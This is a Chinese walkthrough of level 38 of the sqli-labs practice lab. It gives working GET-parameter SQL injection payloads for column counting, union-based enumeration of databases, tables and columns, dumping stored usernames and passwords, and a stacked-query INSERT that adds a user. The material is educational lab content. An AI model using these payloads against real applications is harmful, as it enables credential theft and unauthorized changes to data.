SQLi 38关

简介: 第三十八关请求方式为GET请求 , 注入类型为 单引号字符串型注入 第一步,测试注入方式

第三十八关请求方式为GET请求 , 注入类型为 单引号字符串型注入

 

第一步,测试注入方式

?id=1' and false-- a

image.png

SQL不成立时 , 结果不显示 , 固 单引号字符串型注入 , 源码如下


image.pngimage.pngimage.png

image.png

本题的重点在 mysqli_multi_query() , 可同时执行多条SQL , 即叠加注入

 

第二步,判断字段数

使用order by 排序 测试字段数量

?id=1' order by 4 -- a

从第1列开始测试 , 直至报错 , 第4列开始异常 固 字段数为3

image.png

 

第三步,判断显示位置

使用 union 联合查询 测试字段显示的位置

?id=-1' union select 1,2,3 -- a

此处 id=-1 , 由于id不能为负数 , 所以该SQL查询不到用户数据 , 返回的结果就只有 联合查询的 1 2 3 这一条数据 , 目的在于方便展示字段显示位置

image.png

 

第四步,获取所有数据库

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有的数据库名

?id=-1' union select 1,2,
(select group_concat(schema_name)
from information_schema.schemata)
 -- a

此处的 group_concat() , 可以将多行数据 合并为一行

image.png

下一步 , 根据 security 数据库 , 获取其所有表



第五步,获取所有表

查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有的表名

?id=-1' union select 1,2,
(select group_concat(table_name)
from information_schema.tables 
where table_schema='security')
 -- a

image.png

users表为用户表 , 下一步根据users表获取其所有字段

 

第六步,获取所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所以的字段名

?id=-1' union select 1,2,
(select group_concat(column_name)
from information_schema.columns 
where table_schema='security' and table_name='users')
 -- a

image.png

至此可知 , 数据库 security, 表 users, 字段 id,users,password , 下一步 ,根据此信息查询账号和密码

 

第七步,获取账号密码

?id=-1' union select 1,2,
(select group_concat(username,'~',password)
from users)
 -- a

image.png

第八步,叠加注入

利用该关卡的SQL的 mysqli_multi_query() , 同时执行多条SQL , 实现插入用户

?id=-1' ;
insert into users(id,username,password)
values(20,'zhangsan','123')
 -- a

访问新增的用户 id为20

image.png


相关文章
|
8月前
|
数据安全/隐私保护
【less-4】sqli-labs靶场第四关
【less-4】sqli-labs靶场第四关
|
8月前
|
SQL 安全 关系型数据库
【less-2】sqli-labs靶场第二关
【less-2】sqli-labs靶场第二关
|
9月前
|
安全 数据库
sqli-labs---第二关
sqli-labs---第二关
|
9月前
|
安全 数据库
sqli-labs---第五关
sqli-labs---第五关
|
9月前
|
安全 数据库 数据安全/隐私保护
sqli-labs---第四关
sqli-labs---第四关
|
9月前
|
XML 安全 数据库
【sqli靶场】第四关和第五关通关思路
【sqli靶场】第四关和第五关通关思路
149 0
|
9月前
|
安全 关系型数据库 MySQL
【sqli靶场】第六关和第七关通关思路
【sqli靶场】第六关和第七关通关思路
165 0
你厉害吗?来过5关试试~
第一关——把卷心菜、小羊、狼运到对岸,注意人不在时候小羊会吃掉卷心菜、狼会吃小羊  第二关--把人和鬼都送到对岸,任何一边鬼都不能比人多,否则鬼吃人。
813 0
|
9月前
|
Web App开发 安全 Windows
【通关】WEBGOAT靶场—Path traversal路径遍历第二关
该漏洞利用涉及上传文件至WebGoat的PathTraversal模块。目标是覆盖`C:\Users\Sec\.webgoat-8.1.0\PathTraversal\`目录下的文件。默认上传位置为`C:\Users\Sec\.webgoat-8.1.0\PathTraversal\Wsec\test`。通过抓包和修改数据包,将上传路径改为上两级目录,实现目标。在POST请求中,添加目录跳转到文件名前,如`../`,然后发送修改后的包,成功完成挑战。
188 0
|
Oracle 关系型数据库 数据库
Sqli学习笔记系列---一次艰难的Sqli
正文 这里记录一下一些小技巧: 替换 路径/参数 在以下接口的的“idNumber”参数上找到注入点: /foo/?theName=YAP&idNumber=248001[注入点] 识别是否执行成功true/false的payload /foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE /foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE 也可以使用管道操作:
97 0

热门文章

最新文章